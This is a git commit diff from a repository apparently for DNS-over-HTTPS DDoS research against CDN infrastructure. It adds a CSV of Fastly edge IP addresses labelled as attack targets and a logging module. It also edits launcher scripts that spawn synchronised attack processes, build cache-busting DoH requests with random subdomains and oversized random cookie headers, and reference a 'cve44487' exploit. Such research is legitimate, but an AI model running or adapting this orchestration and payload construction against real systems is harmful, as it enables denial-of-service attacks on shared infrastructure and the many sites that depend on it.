updata
This commit is contained in:
@@ -18,6 +18,7 @@ import tqdm
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import threading
|
||||
from dns.message import make_query
|
||||
from logger_DoE import *
|
||||
|
||||
def ge_cookie():
|
||||
cookie = ""
|
||||
@@ -111,7 +112,7 @@ if __name__ == '__main__':
|
||||
start_time = time.perf_counter()
|
||||
# while time.perf_counter() - start_time < 0.1:
|
||||
# pass
|
||||
print('all waiting')
|
||||
#print('all waiting')
|
||||
while time.perf_counter() - stime < wait_time:
|
||||
pass
|
||||
# 触发事件,同时释放所有线程
|
||||
@@ -119,7 +120,7 @@ if __name__ == '__main__':
|
||||
# 等待所有线程完成
|
||||
for t in threads:
|
||||
t.join()
|
||||
print('ATT over:',time.time() - s_time)
|
||||
#print('ATT over:',time.time() - s_time)
|
||||
#for i in tqdm.tqdm(range(1000)):
|
||||
#send_request("151.101.76.204",0,0,0)
|
||||
|
||||
|
||||
65
6_dot_DDoS/fastly_att.csv
Normal file
65
6_dot_DDoS/fastly_att.csv
Normal file
@@ -0,0 +1,65 @@
|
||||
ip,latency
|
||||
151.101.176.204,0.0
|
||||
199.232.112.204,20.174415906270383
|
||||
151.101.216.204,164.30801947911584
|
||||
151.101.84.204,189.15273348490393
|
||||
151.101.244.204,199.20119841893518
|
||||
151.101.252.204,206.1764796574911
|
||||
146.75.120.204,226.36029322942102
|
||||
151.101.132.204,236.9340340296427
|
||||
146.75.116.204,241.16920232772827
|
||||
151.101.8.204,245.57103315989173
|
||||
146.75.56.204,246.24038537343347
|
||||
199.232.168.204,268.50428581237793
|
||||
151.101.36.204,279.2840361595154
|
||||
146.75.72.204,286.16975943247473
|
||||
151.101.220.204,291.5731271107992
|
||||
199.232.188.204,292.1649694442749
|
||||
199.232.40.204,303.6079406738281
|
||||
199.232.52.204,310.2594097455343
|
||||
146.75.60.204,315.7567103703817
|
||||
151.101.236.204,324.4780898094177
|
||||
151.101.60.204,333.3046237627665
|
||||
199.232.16.204,340.94427824020386
|
||||
146.75.4.204,343.24026902516687
|
||||
199.232.132.204,343.66803566614783
|
||||
146.75.52.204,343.79214445749915
|
||||
151.101.240.204,346.39684756596887
|
||||
146.75.0.204,367.51374403635657
|
||||
199.232.24.204,383.8797012964884
|
||||
199.232.80.204,388.3073488871256
|
||||
199.232.56.204,391.30493799845374
|
||||
146.75.76.204,395.0240969657898
|
||||
146.75.80.204,402.90646155675256
|
||||
146.75.124.204,412.90348768234253
|
||||
199.232.20.204,425.53412914276123
|
||||
151.101.140.204,444.1699981689453
|
||||
146.75.104.204,444.1818634668986
|
||||
146.75.12.204,450.5188186963399
|
||||
151.101.136.204,450.8180618286133
|
||||
146.75.96.204,453.5397529602051
|
||||
151.101.80.204,463.5060667991638
|
||||
199.232.104.204,472.38902648289996
|
||||
146.75.48.204,474.9836524327596
|
||||
151.101.28.204,491.81838035583496
|
||||
151.101.96.204,510.57063341140747
|
||||
151.101.124.204,512.3162309328716
|
||||
151.101.40.204,530.2466909090679
|
||||
146.75.100.204,530.3682049115499
|
||||
151.101.152.204,534.3550761540731
|
||||
151.101.232.204,538.0456407864889
|
||||
151.101.156.204,543.1010007858276
|
||||
146.75.92.204,548.6201683680217
|
||||
151.101.164.204,551.1252562204998
|
||||
151.101.108.204,590.0793274243673
|
||||
151.101.104.204,601.1172771453857
|
||||
146.75.40.204,609.0019901593525
|
||||
146.75.108.204,620.5932696660359
|
||||
199.232.44.204,660.7414801915486
|
||||
151.101.212.204,666.8978889783223
|
||||
146.75.24.204,669.6149627367655
|
||||
151.101.88.204,679.8292676607767
|
||||
146.75.112.204,705.912446975708
|
||||
151.101.228.204,718.2093580563863
|
||||
146.75.20.204,725.5708734194438
|
||||
151.101.76.204,750.7945179939271
|
||||
|
52
6_dot_DDoS/logger_DoE.py
Normal file
52
6_dot_DDoS/logger_DoE.py
Normal file
@@ -0,0 +1,52 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import time
|
||||
import json
|
||||
import threading
|
||||
from queue import Queue
|
||||
|
||||
class LogLevel:
|
||||
INFO = "INFO"
|
||||
WARNING = "WARNING"
|
||||
ERROR = "ERROR"
|
||||
PAYLOAD = "PAYLOAD"
|
||||
|
||||
class LogEntry:
|
||||
def __init__(self, log_level, log_info):
|
||||
self.created_time = time.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.log_level = log_level
|
||||
self.log_info = log_info
|
||||
|
||||
class InfoLogger:
|
||||
def __init__(self, interval=1):
|
||||
self.log_queue = Queue()
|
||||
self.interval = interval
|
||||
self.logging_thread = threading.Thread(target=self.start_logging)
|
||||
self.logging_thread.daemon = True
|
||||
self.logging_thread.start()
|
||||
|
||||
def start_logging(self):
|
||||
while True:
|
||||
entry = self.log_queue.get()
|
||||
if entry is None: # 退出信号
|
||||
break
|
||||
# time.sleep(self.interval) # 延迟输出
|
||||
# 确保输出中文
|
||||
print(json.dumps(entry.__dict__, ensure_ascii=False))
|
||||
|
||||
def log_info(self, level, message):
|
||||
entry = LogEntry(level, message)
|
||||
self.log_queue.put(entry) # 将日志条目发送到队列
|
||||
|
||||
def close(self):
|
||||
self.log_queue.put(None) # 发送退出信号
|
||||
self.logging_thread.join() # 等待线程结束
|
||||
|
||||
# 主函数
|
||||
# if __name__ == "__main__":
|
||||
# logger = InfoLogger(interval=1)
|
||||
# logger.log_info(LogLevel.INFO, "程序开始运行")
|
||||
# logger.log_info(LogLevel.WARNING, "这是一个警告信息")
|
||||
# logger.log_info(LogLevel.ERROR, "发生了一个错误")
|
||||
# logger.log_info(LogLevel.PAYLOAD, "处理的有效负载信息")
|
||||
# logger.log_info(LogLevel.INFO, "程序结束运行")
|
||||
# logger.close() # 关闭日志记录
|
||||
@@ -1,7 +1,23 @@
|
||||
import base64
|
||||
import os
|
||||
import argparse
|
||||
import random
|
||||
import string
|
||||
import time
|
||||
|
||||
import dns
|
||||
|
||||
from logger_DoE import *
|
||||
|
||||
def ge_cookie():
|
||||
cookie = ""
|
||||
for i in range(200):
|
||||
cookie += ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(4, 10)))+\
|
||||
"="''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 20)))+"; "
|
||||
cookie = cookie[:-2]
|
||||
#print(sys.getsizeof(cookie)/1024)
|
||||
return cookie
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-n', '--n', default=3)
|
||||
parser.add_argument('-round', '--round', default=5)
|
||||
@@ -10,11 +26,29 @@ args = parser.parse_args()
|
||||
stime = time.perf_counter()
|
||||
round = int(args.round)
|
||||
wait_time = int(args.wait)
|
||||
#print(f"python att_pending_https.py -stime {stime} -round {round} -wait {wait_time}")
|
||||
logger = InfoLogger(interval=1)
|
||||
logger.log_info(LogLevel.INFO, "程序开始运行")
|
||||
for i in range(int(args.n)):
|
||||
#print(f"python3 cve44487.py -s {i}")
|
||||
os.popen(f"python att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}")
|
||||
os.popen(f"python att_pending_https.py -stime {stime} -round {round} -wait {wait_time}")
|
||||
|
||||
message = dns.message.make_query(''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A")
|
||||
message.flags |= dns.flags.RD
|
||||
dns_req = base64.b64encode(message.to_wire()).decode("UTF8").rstrip("=")
|
||||
cookie = ge_cookie()
|
||||
headers = {'host': 'www.doeresearch.site',"content-type": "application/dns-message",
|
||||
"accept": "application/dns-message",
|
||||
"Surrogate-Control": "max-age=0", "Cache-Control": "max-age=0",
|
||||
"Cookie":cookie}
|
||||
logger.log_info(LogLevel.PAYLOAD, f"处理的有效负载信息:GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n")
|
||||
logger.log_info(LogLevel.PAYLOAD, f"处理的有效负载信息:{headers}")
|
||||
while True:
|
||||
current_time = time.perf_counter()
|
||||
elapsed_time = current_time - stime
|
||||
print(f"经过的时间:{elapsed_time:.2f}秒", end="\r")
|
||||
time.sleep(1) # 暂停一秒钟
|
||||
# print(f"经过的时间:{elapsed_time:.2f}秒", end="\r")
|
||||
# time.sleep(1) # 暂停一秒钟
|
||||
if elapsed_time>wait_time:
|
||||
logger.log_info(LogLevel.INFO, "程序结束运行")
|
||||
logger.close() # 关闭日志记录
|
||||
break
|
||||
Binary file not shown.
Reference in New Issue
Block a user